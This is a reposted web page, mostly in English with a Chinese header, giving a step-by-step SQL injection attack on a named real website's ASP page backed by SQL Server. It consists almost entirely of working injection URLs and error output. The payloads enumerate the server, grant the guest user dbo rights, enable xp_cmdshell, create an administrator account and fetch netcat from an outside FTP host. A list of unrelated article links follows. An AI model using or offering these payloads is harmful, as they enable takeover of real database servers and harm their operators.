WEB/SQL分离 利用ODBC注入
来源:互联网 发布:java语言开发环境配置 编辑:程序博客网 时间:2024/06/18 14:37
一直来很多牛人说可以web/sql分离的情况下,利用odbc来拿本机权限,不过这篇文章好象是连回本地来做测试。不过总算是一个突破
EXAMPLE TO USE:
http://www.xxxx.com/FullStory.asp?id=1
Exploiting the hole:
http://www.xxxx.com/FullStory.asp?id=1’
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ’’.
/Including/general.asp, line 840/
VERSION
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Code:
[SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ’ to a column of data type int.
/Including/general.asp, line 840
SERVER NAME
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’UNESCO’ to a column of data type int.
/Including/general.asp, line 840
DATABASE NAME
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’NhaXinh’ to a column of data type int.
/Including/general.asp, line 840
USER
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’nhaxinh’ to a column of data type int.
/Including/general.asp, line 840
OPENING REMOTE LINK (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_oa-oz_78z8.asp)
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset(’sqloledb’,’’;;,’’)--
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider ’sqloledb’ has been denied. You must access this provider through a linked server.
/Including/general.asp, line 840
GUEST = DB_OWNER :DDD
http://www.XXXX.com/FullStory.asp?id=1;exec sp_executesql N’create view dbo.test as select * from master.dbo.sysusers’ exec sp_msdropretry ’xx update sysusers set sid=0x01 where name=’’dbo’’’,’xx’ exec sp_msdropretry ’xx update dbo.test set sid=0x01,roles=0x01 where name=’’guest’’’,’xx’ exec sp_executesql N’drop view dbo.test’--
Code:
No result expected, normal page loading
Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell
ADDIN TO "BUILTIN/ADMINISTRATORS"
http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N’create view dbo.test as select * from master.dbo.sysxlogins’ exec sp_msdropretry ’xx update sysusers set sid=0x01 where name=’’dbo’’’,’xx’ exec sp_msdropretry ’xx update dbo.test set xstatus=18 where name=’’BUILTIN/ADMINISTRATORS’’’,’xx’ exec sp_executesql N’drop view dbo.test’--
and then
http://www.xxxx.com/FullStory.asp?id=1;exec master..sp_addsrvrolemember ’nhaxinh’,sysadmin --
ENABLE OPENROWSET/OLEDB
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’,’’;;,’’)--
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80004005’
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user ’SYSTEM’.
/Including/general.asp, line 840
http://www.xxxx.com/FullStory.asp?id=1;exec master..xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SYSTEM/CurrentControlSet/Services/Tcpip/Parameters’,’EnableSecurityFilters’
ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES"
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN/Administrators;pwd=’, ’set fmtonly off exec master..sp_addextendedproc xp_cmd,’’xpsql70.dll’’ exec sp_configure ’’allow updates’’, ’’1’’ reconfigure with override’)
!!PAY ATTETION TO THE SERVER= PARAMETER
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object ’set fmtonly off master..sp_addextendedproc xp_cmd ’xpsql70.dll’ exec sp_configure ’allow updates’, ’1’ reconfigure with override’. The OLE DB provider ’sqloledb’ indicates that the object has no columns.
/Including/general.asp, line 840
if dun work try:
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN/Administrators;pwd=’, ’set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,’’xpsql70.dll’’ exec sp_configure ’’allow updates’’, ’’1’’ reconfigure with override’)--
NOW SCRIPT KIDDIES
http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ’ipconfig’--
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like ’%25IP Address%25’))-- (%25 == “%”)
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’ IP Address. . . . . . . . . . . . : 203.162.7.70 ’ to a column of data type int.
/Including/general.asp, line 840
C:/> ping 203.162.7.70
Pinging 203.162.7.70 with 32 bytes of data:
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118
C:/> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service (Version 5.0).
User (203.162.7.70:(none)):
203.162.7.70 == panvietnam.com
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN/Administrators;pwd=’, ’set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"’)-- (%26 == "&")
Code:
C:/> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service
(Version 5.0).
User (203.162.7.70:(none)): a
331 Password required for a.
Password:
530 User a cannot log in.
Login failed.
ftp> bye
UPLOAD NETCAT LÊN
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN/Administrators;pwd=’, ’set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f’)-- (%3E == ">")
Code:
echo open a.b.c.d >f
echo user a a >>f
echo bin >> f
echo cd a >>f
echo mget * >>f
echo quit >>f
ftp -v -i -n -s:f
del f
http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ’dir nx.exe’--
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))--
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))--
Code:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’08/17/2003 11:31a 11,776 nx.exe’ to a column of data type int.
/Including/general.asp, line 840
- WEB/SQL分离 利用ODBC注入
- 利用ODBC注入
- web安全:SQL注入
- web安全:SQL注入
- WEB安全:SQL注入
- Web SQL注入攻击
- 利用JDBC-ODBC驱动访问SQL SERVER2008
- SQL 注入利用与防御
- Web安全初探-SQL注入
- java web sql注入漏洞
- Web攻防之SQL注入
- WEB安全之SQL注入
- Web安全之SQL注入
- 浅谈Web安全-SQL注入
- Web简单的SQL注入
- CTF web总结--sql注入
- 问鼎杯web/sql注入
- Web安全之SQL注入
- ubuntu安装声卡驱动,很简单,很详细,不是我写的。。。
- Olly Advanced 1.27
- XSS测试语句大全
- Quartus NIos DSP Builder 9.0全系列的授权文件(我觉得是最简单的方法)
- Hibernate3中session的get和load方法的区别
- WEB/SQL分离 利用ODBC注入
- 最一篇
- 周星驰遭受众叛亲离的六大原因
- 一些java类中为什么需要重载 serialVersionUID 属性
- Java中使用正则表达式实现字符串匹配
- gridview无数据时候显示表头
- fffdfd
- JAVA中浅复制与深复制
- 【转】佛家的133个经典哲理转载 分享该日志 评论 举报